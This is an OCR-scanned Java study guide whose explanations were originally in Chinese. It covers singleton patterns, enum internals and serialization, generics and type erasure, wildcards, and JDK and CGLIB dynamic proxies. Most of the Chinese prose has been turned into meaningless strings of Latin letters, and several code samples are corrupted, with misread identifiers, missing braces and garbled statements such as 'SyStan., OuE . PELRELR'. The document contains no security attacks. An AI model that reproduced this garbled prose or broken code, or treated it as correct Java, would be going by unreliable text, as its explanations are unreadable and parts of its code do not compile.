https://stackoverflow.com/questions/70689/what-is-an-efficient-way-to-implement-a-singleton-pattern-in-java
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FRAMETMBLNGERAR LB Z2XA, BRBETRINELECEM AL
Singleton BI&1EG %o

INRIRBRGRNIERE T RBOIRIRELUR — LA gEFERIAYE , AR AR BT RES IR
RRYES, R (ERNEEIRFR—FMRIFAIS I,

MBI B R
RIFES FRRISCIRERBIRIFR A5 URIAES, BRI, &

MM R ER . TRFRREEEREIELZEER .

HAVEBEILET “WERILH” K5 USRI .

“WERIEHEL” SCHEp:

public class Singleton ({

private volatile static Singleton singleton;
private Singleton () {}
public static Singleton getSingleton () {
if (singleton == null) {

synchronized (Singleton.class) {

if (singleton == null) {

singleton = new Singleton();

}

}
}
return singleton;

}

WS SCINER )

public enum Singleton {
INSTANCE;
public void whateverMethod () {
}

HEEZ T, IR, KESTHRAEEERERE
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FERIREGHIEAICIS Z FRLAREERD, RRAKE D NIBERERIELIEZE. AT
ERIESREZTESMMEZEHNE, MIDHERSERIERE. BR, XERABTEEE0M
Y, BESfbTIERRR PN SBIABHIRIER

M BREEL TR

FERRRNS  (ERIFERIS LIRS, HfEECKRIIELERS, L, XS
Ht75iA AR . BPA, AT AERNENAIFTERREGIELZ 2 EBE?

HL, AR EANEMATERIIGERE, ITIEEZENRIEAFTERNIXD
meE. EHek, HLfk ‘KRR KRM T &LELE S EIRIEN.

BA, ‘KR FEEBRZMTA?

XMBRIXTFUENLUNT . XBOPASTTUSEHNEII—RKEX
’ ]\Zgﬁf“;—ﬁ%iﬁaﬂ_?

ENXMERTER enum 1 class —#f, =2 Java F9—"K#E=F, R class I A
— Class ZE—#, enum tBXRBE— Enum 2£,

BITRETE X AFRIR A , BAIPREARIL, HEMEEERT NmiEZlE, &
WAL IRBZAN RIEX o

mE, MEPHSIMEINEFET static SREMAY. a:

public enum T {
SPRING, SUMMER, AUTUMN, WINTER;
}

R4mIEEER:

public final class T extends Enum
{
/BT WA
public static final T SPRING;
public static final T SUMMER;
public static final T AUTUMN;
public static final T WINTER;
private static final T ENUMS$VALUESI[];


http://www.hollischuang.com/archives/197
http://www.hollischuang.com/archives/58
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static

{
SPRING = new T ("SPRING", 0)
SUMMER = new T ("SUMMER", 1)
AUTUMN = new T ("AUTUMN", 2);
WINTER = new T ("WINTER", 3)
ENUMSVALUES = (new T[] {

SPRING, SUMMER, AUTUMN, WINTER

1)

TR VM RIZEMNBEANBIRIBR R RAZITIX Ao LB ZE FKEIWBHESTERIEM

HZEWDEL, BMNE i

RINEFRDBINET, Z— Java £EIRHEEIER

FIRORHEERS IR IFRANIAM . Java ERIMBAIIa T IEE RERERTEN ( BAEMIE

INEAEAIZERIRT R, =F R ClassLoader B loadClass F5i%&, MiX NG EFERRER
IORRIE TR RS ) - FTlA, BIE—1 enum EKEIREREZEN.

RN, FNIEX— M, BB IRWEERZINIE, SWEIVINEF9A
, MIX MR ERERELZ 2. MG, MRBONFARKER, E2HERE
IR HELIEL 2R

FRLA, BFHESROLLEASIE, MEELIIRBfIRRESIEL M.

AT RRIRR R SRR R FIRTIETER

BIERAREND, MR ERNERR PSR ELEFE—ETMATY, MEXFER
PIEETRER FIILEIRIAR , KT IXFMEIA R BRINE, 25 , IXE
AMEENMFEARISEEE T o

BA, FFRINHUXESEE, ITANBENBEXNEBETR? EETLUE
FIREER, HPE IR ER R T a0
THIE:

1.12 Serialization of Enum Constants

Enum constants are serialized differently than ordinary serializable or externalizable objects. The serialized form of an enum constant consists solely of its name; field values of the
constant are not present in the form. To serialize an enum constant, objectoutputstrean Writes the value returned by the enum constant's name method. To deserialize an enum constant,
ObjectInputStream reads the constant name from the stream; the deserialized constant is then obtained by calling the java.lang.Enum.valueos method, passing the constant's enum type
along with the received constant name as arguments. Like other serializable or externalizable objects, enum constants can function as the targets of back references appearing
subsequently in the serialization stream.

The process by which enum constants are serialized cannot be customized: any class—specific writeobject, readobject, readobjectNoData, writeReplace, and readResolve Methods defined by
enum types are ignored during serialization and deserialization. Similarly, any serialrersistentFields OF serialversionulD field declarations are also ignored--all enum types have a fixed
serialversionuIp Of 0r. Documenting serializable fields and data for enum types is unnecessary, since there is no variation in the type of data sent.


http://www.hollischuang.com/archives/199
http://www.hollischuang.com/archives/201
http://www.hollischuang.com/archives/1144
https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html
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KEERHE: EFIIHIETR Java (NXZBKEIRAY name BIEMEFIERT,

[ FHICRIRT RN 2 i A9 HERRERFERNENR. F
Y, WiFFEAIHE A XMEFINCNFOERNN, HLERT
il FhiEo

HiEl Java KRR FIMHITRES, SBISRITEASEAIBOMIERERADIR TR
PRLA, BNERAIFEISHIMZIERY, BSRRITEHRINE . BT RFIICEIISREEN
new tHERY, PTLUXBAERIA T S840,

BR, NENRFIIHUHABEERILIMAY. UL, BARRERTRFIICSEHRY
BBIBIARRR . IXEDAEE
PHEAEINFANNE, ERRTEDNE, BeBrIMAPTLARIEER .

ISES

ERTBRSRAISLIS T, MER—MERREE L LERERLI, ZEALAIETSE
&, R Java BEANEH T KT, BAMETLMRSERIREI— SR,
MABEXROEIAUIIIETRIZIE R 20, FAKE SEREIWIINE RS RIEL
e i NEEI) e (S

BRILEZSN, EFIULTSE, Java PERENE, MERNFIIHRFIICEBIFHRE
FRY . Xt AJ AR S o IS RE 1 R T B3 T SE R SR FUAR BRI B .

Java FENMMZEZERA enum XBFH, BRE Java FHIIABE— java.lang.

Enum 3£, X2—PHISRE, EXAT:

package java.lang;

public abstract class Enum<E extends Enum<E>> implements Constable, Compara
ble<E>, Serializable {

private final String name;

private final int ordinal;


http://www.hollischuang.com/archives/197
http://www.hollischuang.com/archives/197
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EXNEHNEHEFADASAE, BRELENVER enum EXHIKES, HLIG
P E@I 4R Enum LAY,

SIAER enmu KEX —MERBRIIMR, RiXR[=BEIAILIZ— final
RBIRGSEMIR Enum 28, FRLARIESSERIRBER AR K o

java MEMELLERA == 0 equals ITXREXS, M REEREE IR,

RAKEE Enum £ equals HEEALIFHRET == RELERY; EHUUMN
Enum B9 compareTo FiELCERIE Enum B9 ordinal IREXRN; EEA9EE Enum
89 name 75iEMD toString FHiA—1FERR[EIRIZE Enum AY name 1B,

Java 1.7 ZHij switch S#AEFZEEA short. byte. int. char, ¥&ERIZERLA
B AE LR mIEEEmLIY.

TRiFRBIE switch HEHRIZEN:

switch(s.ordinal ()) {
case Status.START.ordinal ()
t

Fezt, FrASERRLR int 238, BB EH S B MERKZR switch 15
REEY javap -v X&E FFRREHERT .

S7iE: Java SEbS Rt 7 —FhHrRIZEEL - , KEF enum AL
—HEEZENBRES IR —MFTRIEE XA ZERT LEAERIIEFAAE
R, XR—MIEEBBRIINEE . ASOERADITHENIFL, E—EREE EATIN,
RUMIRIEELRRER SR, DIRATABRELINR0IR&EIFIILR .
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HAERINIRIELEZ S/

ZRERDB, BAEE—1XEIE, BBAKEERIEIREMTAERE? 2 enum 13? &=
REBEARZ, enum B0 class —1f, AR— 1 XRF, MHAER—1E, BAKZEZEAH
HAKAEPRIE, BAIERMNE— Iz

public enum t {
SPRING, SUMMER, AUTUMN, WINTER;

AREBAWERRFE, BEXRIBREEREA
IBARET:

MAY, REiZ (Java li2da%) B

¥

public final class T extends Enum
{
private T(String s, int 1)
{
super (s, 1i);
}
public static T[] values()
{
T at[];
int i;
T atl[];
System.arraycopy (at = ENUMSVALUES, 0, atl = new T[i = at.length], O,

return atl;

public static T valueOf (String s)
{

return (T)Enum.valueOf (demo/T, s);

public static final T SPRING;

public static final T SUMMER;

public static final T AUTUMN;

public static final T WINTER;

private static final T ENUMSVALUESI];
static

{

SPRING = new T ("SPRING", 0);
SUMMER = new T ("SUMMER", 1);
AUTUMN = new T ("AUTUMN", 2);
WINTER = new T ("WINTER", 3);

ENUMSVALUES = (new T[] {
SPRING, SUMMER, AUTUMN, WINTER
1)


http://hollischuang.gitee.io/archives/58
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BT miEEUIRIA T IAEE, , B, iz
REMERT Enum XR9, EET final XEFHFFA), RPELEREERMEN . SEAWE
H REN—MEEERIHE, FiERSBEIBIANEIE— final SRELRIE4H

Enum 3£, FRLABESSSBIARBERARR, FNBEIXNEFE/ L BENTTIE.

AT LABE:

public static final T SPRING;

public static final T SUMMER;

public static final T AUTUMN;

public static final T WINTER;

private static final T ENUMSVALUES|[];

static

{
SPRING = new T ("SPRING", 0)
SUMMER = new T ("SUMMER", 1)
AUTUMN = new T ("AUTUMN", 2);
WINTER = new T ("WINTER", 3)
ENUMSVALUES = (new T[] {

SPRING, SUMMER, AUTUMN, WINTER

1)

#i:2 static S8R9, FJY static XERBUESERWINHZ EHWDIRML, FIE

il [

NEFDHINMAY, 33— Java E£FIRWEIEFERZIRMESRFSRIREIGM. Java
RANNEAIAHITIE A REAE L 2R FILA, BIE— enum KEILRHER2H).

St A FBHESSERR R B R ERIF IS T

= o, BMNEI—HE LMW RASL, E,
Effective Java {E& RIBERKERIS, BRI I0F, BREA)
BB B AEF?

1. WEEEER

SEEREXNMAREE [ +HE]RIIRA M E X EERISSIHAEX B T .

public enum EasySingleton({
INSTANCE;
}


http://www.hollischuang.com/archives/199
https://www.hollischuang.com/archives/201
http://hollischuang.gitee.io/archives/205
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{RATLLEE Finia.

2. MEBCHIEFIIN

EMmE, UaiNAAENEARXBE —THERANE#R, fie—BX;WT
Serializable #AZfE, HABREAET, A, BRAR readObject()75 AR [EIAIED
B TREIRERINSR, B—MERRINEMEER readResolve() BiE kB RSB RS
B2, ATHRIEKEEENER Java SEEHMRBIERE, B— P HERBEIREE NI TE
£ JVM HERME—RY, FEREEENFIICIRFEII L, Java M THEHREIE . R
W:

Enum constants are serialized differently than ordinary serializable or
externalizable objects. The serialized form of an enum constant consists
solely of its name; field values of the constant are not present in the form.
To serialize an enum constant, ObjectOutputStream writes the value
returned by the enum constant's name method. To deserialize an enum
constant, ObjectinputStream reads the constant name from the stream; the
deserialized constant is then obtained by calling the java.lang.Enum.valueOf
method, passing the constant's enum type along with the received constan
name as arguments. Like other serializable or externalizable objects, enum
constants can function as the targets of back references appearing
subsequently in the serialization stream. The process by which enum
constants are serialized cannot be customized: any class—specific
writeObject, readObject, readObjectNoData, writeReplace, and readResolve
methods defined by enum types are ignored during serialization and
deserialization. Similarly, any serialPersistentFields or serialVersionUID field
declarations are also ignored——all enum types have a fixedserialVersionUID
of OL. Documenting serializable fields and data for enum types is

unnecessary, since there is no variation in the type of data sent.

KSR EIR, EFIMLAEE Java (MNEEREITRE name BIERIHEIZER
o, RFFMLRIEHENIRET java.lang.Enum B9 valueOf F5iERIBIEZ FEHKETR .
BT, miEsse A IHEIXSIXFFIHCHLEIRIESBIRY, EIEERT writeObject. read
Object. readObjectNoData. writeReplace #1 readResolve &%,
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BIE—TXD T3k

public static <T extends Enum<T>> T valueOf (Class<T> enumType, String name)
{
T result = enumType.enumConstantDirectory () .get (name) ;
if (result != null)
return result;
if (name == null)
throw new NullPointerException ("Name is null");
throw new IllegalArgumentException (

"No enum const " + enumType +"." + name) ;
}
MNRBHAITIUESR, K== NEB X4 Class &8
J5iEIR[ERY HRERENEZF Y AIRER, WRAF
ERSMEEE .. BiE—LIRE 5%, arNEEEEUR
SR TR A XANEEIAY BEE AR EEENERRIRIESESN
KMONZNIBNTZE, AERKROERER XA XJ R
== 8

FRLA, JVM SR BIRIE.

3. ML R thread—safe(LEF2L L)

Bl i
ATMNERDBINEE, Z—1 Java XERWEIEFERZIRIHMREHS IR A
£\ Java ERIMBADIHITIZE R ELIEZERI . FTLA, BIE— enum XEIEZEHIZRE
AY.

JavaiZzB ( generics) =2 JDK 55| AB— P, FEE N ENEXD
RHRERZERIZ4 ( type parameter)

FERRRE S E RIS R EFRIRERER . ZERFBRINARZAE JDK 5 FRY

MEGRERRF.


http://www.hollischuang.com/archives/199
https://www.hollischuang.com/archives/201
https://www.hollischuang.com/archives/201
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ZERARNTFGRATLURERENERM., LU List BN A6, HIaTLUE String.
Integer FXBIMWAList B, WMAHZE, FH String REEE— List 0O, FH
Integer EE 54— List #0, ZEATLURIFAIMRAIXNER

—. SMESPHIRIFEZNMOIEZERY

BEBRT, —MEE=sGEZEERMSH:

1. o ESLHME—MZ B2 B AR B - E— 0 FTRI B R
3 (=783 or ZHHEIRED ) o AN, FXF—NZEL list, AJRERE X , ;
FE= BRI,

2. o WENZEERERME—RI—D BIinUID; ZZBERIPTE LA
FHpREIEIX D BinUIS L, EREAIHEHRITREUNG TSR,

C++HRIRERR ( ) EEAAT S, CHHmIFEEaE
—MNZBEEELHIER— D HITIES . FATICRSH il EMFIAEIRISE

B, XHSSHRBEK (code bloat) . C#EmMZETICTEZFRIEF. FMEEMIL
& (Intermediate Language, FEES, XAHRZER— SN ) RETH
CLR ##ERILEFEERY, 5 RN FRER, ENERSIET
HA4ERY, BECRIED ARMREEYE, XFLIIFRAREWAK, BT X5 ALIAYZEY
WFRA . Java iBEFRIZEINA—, EREEFRRBGTEE, EREENFTD
B, FEREERAFERMNEERE (Raw Type, BIRAKREE) 7, HETHE
RIEIHB SN T R HIaE BAS, RS Fizf7HARY Java IBE RN, 5
MeE—1K. TUARZERAKRIIR LR Java ESH—EUEENE,
Java B FRYZ B S AFR AR BURER, B TS AL IMAYZ BEARFR ARIZEL

M CH2fER ROSLIEANE, BIEIRE, thE—1 R, BB
MESSEBAK . I EREAES ARG, RETE, RASIAEEES
TTEAREHR—MEH . IREBANEDRBEFE—H T MXtE Java fHiFss
RN BRAEZENEERE
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fRi¥emimid BRATMNZEERCEE—RNFTRERR, FES
1%z BRI SLAIER RS BIX N E— R F DR LSS M2 B2 SL HIBRES B E— A=
TIERTEET 2B ( ) LAY,

. HAZREER
RIEFAIZIRENX M) SRBUERR ( ) » BBAZERAAREEYURIRIE?

RENEIRMERIRBIT RS HET, KZEXBLPIXRKEIE—MHFHE L. HERR
NFHIE, FREHEAIREKEX M F 8L . REUERRAORBET NZE

)i)k

SBIREIREELSHAVEXRER, FAEBUERIHMRNNEENGTIREEMRAYSE. X
BRI SANIER/GZE java IR NEE java (13, RTNIREREEER,
$i28 java (IS BRI E R java F g, REERINEELRENT: 1.8FABRYZ
BSHAEEARNR (RIMFRIRER ) £BER, (XHBOATTLUE:

) 2FBIRFTBERIEEISH

=

=. Java fmiFss BT RIA0ISTE

code 1:

public static void main(String[] args) {
Map<String, String> map = new HashMap<String, String>();
map.put ("name", "hollis");
map.put ("age", "22");
System.out.println (map.get ("name")) ;
System.out.println (map.get ("age"));
}

R4wiFERY code 1:

public static void main (String[] args) {
Map map = new HashMap () ;
map.put ("name", "hollis");
map.put ("age", "22");
System.out.println((String) map.get ("name")) ;
System.out.println((String) map.get ("age"));
}


http://hollischuang.gitee.io/tobetopjavaer/
http://hollischuang.gitee.io/tobetopjavaer/
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BNERIZEEAN T, BEXERL T Java ZBHEINZEINEX, iZBEEET0 T

code 2:

interface Comparable<A> {
public int compareTo (A that);

public final class NumericValue implements Comparable<NumericValue> {
private byte value;

public NumericValue (byte value) {

this.value = value;

public byte getValue () {

return value;

public int compareTo (NumericValue that) {
return this.value - that.value;

RImiERHRY code 2:

interface Comparable ({
public int compareTo ( Object that);

public final class NumericValue
implements Comparable

public NumericValue (byte value)
{
this.value = value;
}
public byte getValue ()
{
return value;
}
public int compareTo (NumericValue that)
{
return value - that.value;
}
public volatile int compareTo (Object ob7j)
{
return compareTo ( (NumericValue)obj) ;
}
private byte value;

}
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code 3:

public class Collections {
public static <A extends Comparable<A>> A max (Collection<A> xs) {
Iterator<A> x1 = xXs.iterator();
A w = xi.next();
while (xi.hasNext()) {
A x = xi.next();
if (w.compareTo (x) < 0)
W= X;
}

return w;

R¥1FER code 3:

public class Collections
{
public Collections|()
{
}
public static Comparable max(Collection xs)
{
Iterator xi = xs.iterator();
Comparable w = (Comparable)xi.next ()
while (xi.hasNext ())
{
Comparable x = (Comparable)xi.next () ;
if (w.compareTo (x) < 0)
W= X;
}

return w;

F2MNZBE Comparable <A>EBRE ABEBBRARTEBLR Object,
Comparable<NumericValue>RIZEEI 28 NumericValue ##8ikis, B2XE BESH
NumericValue ;&5 £H#E Comparable B9 compareTo(Object that)fix, F24%H
ERTIFN, FINT—MERZE. 8 3 NRAIFRE T EESHRIMBFR <A extends
Comparable<A>>A, AREA Comparable<A>A9F2E, 1RIREBURERANTIZ, J0HFT
BRERSH i IRENSRE Comparable</A>, REEESHEER A, BRIREKNIER
EER.

« B RAGIERL
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—. SZEBREH:

public class GenericTypes {

public static void method (List<String> list) {
System.out.println ("invoke method (List<String> list)");

public static void method(List<Integer> list)
System.out.println ("invoke method (List<Integer> list)");

XA, BRITEHIRE, EAMINSEEERE, —1 2

B = , B2, XRABEMIZEFIR. EARNERHT, S8
i PRIFZIREBIRRR T, AL 7 —HFERIRAESEE! List, Rz

ESEIXPA N L EAHFEE R RIE—E—1F.

—. HZELBEF catch:

WREMNBEX T —NZEREZE GenericException, B4, AE=HXAS
catch LB AR S EXE, HINMREZEDBHIX GenericException.
GenericException, X280,

=. SZENEEHTEE

public class StaticTest {
public static void main(String[] args) {
GT<Integer> gti = new GT<Integer>();
gti.var=1;
GT<String> gts = new GT<String>();
gts.var=2;
System.out.println (gti.var);

}

class GT<T>{
public static int var=0;
public void nothing (T x) {}
}

BRE—2! BTERUEEER, BRIZEELOEXERKIIE—HhF0iL, 22

KBS ERERLZM.



WESERIFNZEY < 240

fh. B&

1. EMNFIREZE, REEBEMNEES A A 2R S MR REINE W
BiR,ZEEFIRBECIREN Class EWR .. LLANHAARFE g2
J ﬁﬁ/D\ﬁ o

2. BIEZENGRINAIEIAEE, IHRFSRREBAMSHIGE ( Effective Java, %2
3&F: BAEEHBRHERRESERE) .

3. TERRmMERNESER, IBERE BT FERo
4. BHEEERBZERAIFALOIFIHEZRY. X THEIRN RIS, hiE
HEhBRSEENHENAR . FEREY
yav BIEANR, HRLZ—THEE

£,

5. ZERREISH I RERE SELER 50, RARELERH
JVM TR ZRHTRY . BT REEERER, REEXDR I REXRE
il Ao 3T ki, BfiIE2

FER . BRMEERITESEINAY =

E - Element (E&&HER, RAESHFRAVETR)
T - Type (Java %)

K - Key (%)

V - Value ({&)

N — Number ( #{E£7 )

? - RRARER java 28! ( LIRFIEEAFEE)

S. Ul V = 2nd. 3rd. 4th types

Object — BFTEEAIRE, (HUEAINIREFRTLURELSZ Object 5IFAEE, EMARY
AHMEPIpEFR e Blaa it , (EERERATZE T, E SXUAFRKE, ALrRZaIskE
MERME T, THEF/HITEERTIEIR,
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PREBECFTFNA PR EBECT

FEERCIXIRBIHTIRG), 2R AR IR EEE T

FREEWER, B8R <? extends T>, BIZEBIWRA T £8leE T F2£ £
EAPTR, B A: <? super T>, BIEBINIRN T £KBIs#E T HIRE

2 BRI FRRE R RISRELRH TR, BNESERIFEIR.

IR ERS RRA LR ESIZ BRI RE, XKBH<T>

FTRIEER extends 1 super

<7 extends T>F1<? super T>2 Java iZBidpg “@EF (Wildcards ) ” #0 “i8
5 (Bounds) 7 BO#ES.

<7 extends T>: 23 “ LR\BE (Upper Bounds Wildcards ) ” , EljzEr
e WS EIE S e =Tl

<? super T>: B8 “THREBEA (Lower Bounds Wildcards ) 7, BDZAIAY
e SIS T =R

FE—MIF:

public class Food {}

public class Fruit extends Food {}

public class Apple extends Fruit {}
public class Banana extends Fruit({}

public class GenericTest ({

public void testExtends (List<? extends Fruit> list) {

/ /5, extends AL FHEBCRT, HEEEUE, ANRETK.

/ /BN Fruit BFRARE apple B4 Banana, X BAGEHE A ERZ BB K2 Apple I8 & Ban
ana, FTRUBAAEfT—FhR B H oo 4R

//1list.add (new Apple()) ;

/ /AT LAIEH 3RE
Fruit fruit = list.get(1l):;
}
public void testSuper (List<? super Fruit> list) {

//super AN FFHEACRF, A UAFBOCE, HaW R AR AT88E Pk, PR E 1k ik,
/ /T Fruit FIRFET HA Food —4> (Object EHBHRK)
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/ /RN Food RS2 gm 3 ANl it
list.add(new Apple());
// list.add (new Food());

Object object = list.get(1l);
}}

£ testExtends FiEH, RAZEFHANR extends, M list FEFRITEAEHE,
HAIHABEME List FRITTERIEMRSEERY, BIoJgE=R Apple t2a]8E=2 Banana. EILiEA
add J5i&BF, REEAN new Apple()if2Z new Banana(), #EEImiFEIR.

IBfET extends Zfa, BE super RS ZIEMR T, BIFAIFBEHE testSuper /5
ERSEHRYZEIZ Fruit FIEENRZE, FILEER get F5iERT REER[E Object 228U, 45
& extends B, FESRBGZ BYTT AT, (A extends SREXEIRIS T B HIARAGERI (A
BIFh9 Fruit) SBEE/N,

EERZENY, FEUTERTA super 3KBUTE=AT, F extends.,

MEFINZENNEHY, EEALR Extends. KEFRIEANR, EEH TR Super.

ARIKIR:

KB List AIHSHEER ZIENEEXRIZ, ARmERmERASX

S
[RIGEEGHITRIZ 20T, MR TSHAVERHTEE.

ISR Object {EAZKEY, AILAEMRIFRZ AT LIESZHIREMNSR, il
String 8% Integer,

EMNZENE —RXBRE, RAILIEHIHSHAIEUERARIGSEE! List, BAFAE
it EIBISIEE 5, EASFERFRIR.

List<?>#0 List<Object>Z @HIX I 2 A7

B ARAZEERT List, M HLRESSEERT Listo (RATLUE
; {545 , EDAEEE =t


https://juejin.im/post/5c653fe06fb9a049e3089d88
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oSACIE
BRI

PRBsHSMIE, MRNIEREHEFRECRERN, ERIFEHMBEL T KETHE
RIBIF

public interface HelloSerivice {
public void say();

public class HelloSeriviceImpl implements HelloSerivice({

@Override
public void say () {
System.out.println("hello world");

FEAMCABLLRER, E€X T —MEOMESEIEE . XMEAEEXFRIBRSRIIE
RIRAVEN . FFREMAENR.

public class HelloSeriviceProxy implements HelloSerivice{

private HelloSerivice target;
public HelloSeriviceProxy (HelloSerivice target) f{
this.target = target;

@Override

public void say () {
System.out.println ("idxHE");
target.say();
System.out.println ("JEHEEIE") ;

LFEHME—ES, R TBERED, #BY BT say Bix. TEE—

RS
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public class Main {
@Test
public void testProxy () {
// BERXT %
HelloSerivice target = new HelloSerivicelImpl () ;
/ /AREEXT 5
HelloSeriviceProxy proxy = new HelloSeriviceProxy (target) ;

proxy.say () ;

// i2R=BE // hello world // EIREGE

X EPARFSHINIEER I . AEEFRFRERE (HENR . BiRx]
K. BIEORANEND ) SEEEREHMBETFL.

FSARIERAE EHESSHRAINENIR BISENSRIEHIRIE LI RAYERR .
B R AEANSR BEERA—MIENIRRAER—TELHANR, AILURDESR
RRYBRE, MRGHITMUARSETEE.

IBRESSIRAIIIEE XM LREE, BRI LAEERESSI RIS ERIBIREN
BMIMINEE .

BIE MR T , R SIREIVRIF A, BEFSIEEEFE—ERIRIER,
teanERRSRIERAFTEREFRFEREAE, XNIERLRRENEFIEN. —B
FERERNEFLERSZ, EFTEENRES IR R, XTSRS
JEO

BRE—MEE, JUAREEFRECFENERXN. XHMENSAER.

SRIEPRRIEEH A ERERFIAAE , MEA LIS THARIEER , MsE
X BRI RAIAIRINGE .

ST NP N RS L Sy LS S WS


http://hollischuang.gitee.io/tobetopjavaer/
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3 RaNSACIRR—FSEE 520 .

Java §, SCHESAEERMA:

1. JDK sh&(LIE : java.lang.reflect &9 H Proxy 20 InvocationHandler 012
WM E SR ZERYEE

2. Cglib si7&LI8: Cglib (Code Generation Library )@—NSE=7CBEME
FE, BITRERFPNSER— D FEXIRMMTIXS BRI RINEERIT E o

AT XA G ZA M ANRNRIT T, iZZBe<BRIE, FHEEEXESR
IR . AN EZKE R — MXPMEISCIERIXK IS .

JDK sZRIERN Calib shATEMNX A JDK BIshSREE— RS, MRS
RIBRIIROGIEER— 1 8BS MO . INREIERALIEORIZE, HAJLER CGLIB
;EI)I_IL: o

Cglib 2— M EKISHEERIIBAERE, BalATETHY & Java 25 Java
B0, eriziire AOP RUMESR(ER, 440 Spring AOP #1 dynaop, AfBilEES
%19 interception (&) .

Cdlib BRIEEREIER—I/NMRAFTBLIEIESR ASM, RERFTIRIFER
WRIZE . FRMEREFER ASM, BAEFZEMRY JVM REREIIELE class AR
ESEHRAE.

Cdlib SapERERANXBIHE:

ERSHRIENYRGRTI — P EE Mz
{8 cglib A RNEFESLIEL, KEMLIEETEN.
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Java SEHEIZHMUIERI KB R

1. EX—EEEN TN,

2. BEENX—1% (AR, BISEW InvocationHandler #0) , XK
BENRIECETIRHBERNREXZTESKNERES (81E Preprocess
Postprocess ) , BMUIESRAREAG EESETX N ERLGIEREE (EANRE—TXT
IEHHITRERE ) o

3. ERENR ( IABSERRESE ) , FEAMEE(NETNRQ)EMH—FK
H#EO(3) AR FREEERISEA . FATLIE E— MBS — &R, SR—
PRSP =SS

Java STWEIASREFESRBIANE

java.lang.reflect.Proxy: X244 ACIESA0FEE, @id Proxy ZEAERAICIEEERL

&Y Proxy 2£, Bl DynamicProxyClass extends Proxy.

java.lang.reflect.InvocationHandler: IXEB#rftt " EEAIERE", E—NME0O, &
MNSERNRIERFTEEZANERAABTTEBSEN —1FE, MXPDELRLHR
InvocationHandler &M,

NS CEESCEL

EFESAIESCININGE: 3L Test KXAIBER T, 737X target ZRIHJEI—EIE,
ZIEFTE—aiE.

public class UserServiceImpl implements UserService {

@Override
public void add() {
// TODO Auto-generated method stub
SyStan., OuE . PELRELR (Vomommososomonononmm= QI EESSS S e
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jdk EhSAHE

public class MyInvocationHandler implements InvocationHandler ({
private Object target;
public MyInvocationHandler (Object target) {

super () ;
this.target = target;

@Override
public Object invoke (Object proxy, Method method, Object[] args) throws
Throwable {
PerformanceMonior.begin (target.getClass () .getName () +"."+method.getN
ame ());

//System.out . .println ("-——--——-———-——-——— begin "+method.getName () +"--

Object result = method.invoke (target, args);

//System.out.println ("--—-———--—----——-—— end "+method.getName () +"----

PerformanceMonior.end() ;

return result;

public Object getProxy () {

return Proxy.newProxyInstance (Thread.currentThread () .getContextClas
sLoader (), target.getClass().getInterfaces (), this);
}

public static void main (String[] args) {

UserService service = new UserServicelImpl () ;
MyInvocationHandler handler = new MyInvocationHandler (service);
UserService proxy = (UserService) handler.getProxy () ;
proxy.add() ;
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cglib zhZCHE

public class CglibProxy implements MethodInterceptor({
private Enhancer enhancer = new Enhancer();
public Object getProxy(Class clazz) {
[/ WEFREQRETRME
enhancer.setSuperclass (clazz);
enhancer.setCallback (this) ;
/ /8 AT BRI A TSRS
return enhancer.create();
}
/ /528 MethodInterceptor M5k
public Object intercept (Object obj, Method method, Object[] args,
MethodProxy proxy) throws Throwable ({
System.out.println ("BjEACHE") ;
/ /RACER S A e rp i 77 1%
Object result = proxy.invokeSuper (obj, args);
System.out.println ("J5 BECHE") ;
return result;

public class DoCGLib {
public static void main (String[] args) {
CglibProxy proxy = new CglibProxy () ;
/ /B T R 7T BT AREE S
UserServiceImpl proxyImp = (UserServicelImpl)proxy.getProxy (UserServicelImp
l.class);
proxyImp.add() ;
}
}

AOP

Spring AOP FRIahSIEFZEGRM S, JDK s CGLIB s,

JDOK EiSCIRE Rk 9 R IZRECIRRYZE, FEERERIERERMLRLIM—NMEO,
JDK SIS EBRYZ 02 InvocationHandler %0 Proxy 25,

WNRBFRELEEIIEO, B4 Spring AOP £i%iF{EA CGLIB kahS BB R,

CGLIB ( Code Generation Library) , 2—MYRBERAIERE, JLAEEITIREE
IERRENERITE, T2, COLIB 2EIHWRINANMAIshSRIE, EIANRENSEE
tReA final, BBAERTIEFER CGLIB ManLiEY.



249 > Ik

FIM R RGN EHERISTURNTRE . E—MEUREINEANTFR. —RZNA
T ML, RMIF RPC FHas=H.

R RFIULRIEIRIE .
FIUERBIRIPRSEE RN FHEEERAITEINERE. —REUFTHIBE

XML =&, MFHi3ek XML RIBELHIUEFEATERFINR . XTERAITE
AR FINL -

Java MRHFFTIHLSRFFIN

£ Java /1, BAIRTLUBII S L TUREIEN SR, FERBEXNRIREHEUIAIERT LA
ERZNR. BER, FHMNEIZLFRANXL Java WRERFET JVM BHEREFEFRI. I8
JVM EFIsTRERIEHR, XEWRAATEEFTE. —B JVM ELEETT, XEXRAPRE
BREZMERT

BEEESLRINATST, RNBEEXLEIRIFAN TR, FHEEBERTEAIIHRIE
MREFNZENEFR . Java RIRIRFFICRT LIRS BB ISEIINEE .

SIRFFEHLE (object serialization ) & Java IBSREHN—FIRIFANE T,
BIXURFIN, ATLUENRIPRSEREAFT A, HETUEERENREX N FD
HABIR FINCRI B BRI R . WREFEICH LIRS ZATE JVM RRGERNRIRHN
FHHAE (R ) ZiETHi%,

£ Java 9, SIRAIFFIN SR FFHHETZ NABE RMIGZiE 528 R) &M EinT

EPSEMYNES

Java BT HBEFAARE Java SSRHEITFIMER R FINCRE T —ET5RI AP K
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5. HPERELITROME:

java.io.Serializable
java.io.Externalizable
ObjectOutput
Objectinput
ObjectOutputStream
ObjectinputStream

Serializable #0

ESEINSBY] EOUBRERIICINGE . RELIMIZEORISEE T
(EEAHIINES IR I . BIFFIERRIPRE FREIARBE R TP . FRHIEE
MIRBEENFE, XABTRRAFRIMLANE
( )

SIHEX— I NRETFIAIET R, INREZASZEF Serializable #OKNR. &
BT, Bt o

REBFIIRIRERE, BIREIPBERKRPENINEEIFAN TR, BBAKLED
RrZEERY £{mN

[

THEHR— ST EORYE:

package com.hollischaung.serialization.SerializableDemos;
import java.io.Serializable;

/**

* Created by hollis on 16/2/17.

* 9P Serializable $M

7

public class Userl implements Serializable ({

private String name;
private int age;

public String getName () {
return name;

}

public void setName (String name) {
this.name = name;

}


http://www.hollischuang.com/archives/1140
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public int getAge () {

return age;

public void setAge (int age) {
this.age = age;

@Override
public String toString ()
return "User{" +
"name='" + name + '\'' +

, age=" + age +
l}l;

B N EAY R TR R R FoL:

package com.hollischaung.serialization.SerializableDemos;

import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;

import java.io.*;

/**

* Created by hollis on 16/2/17.

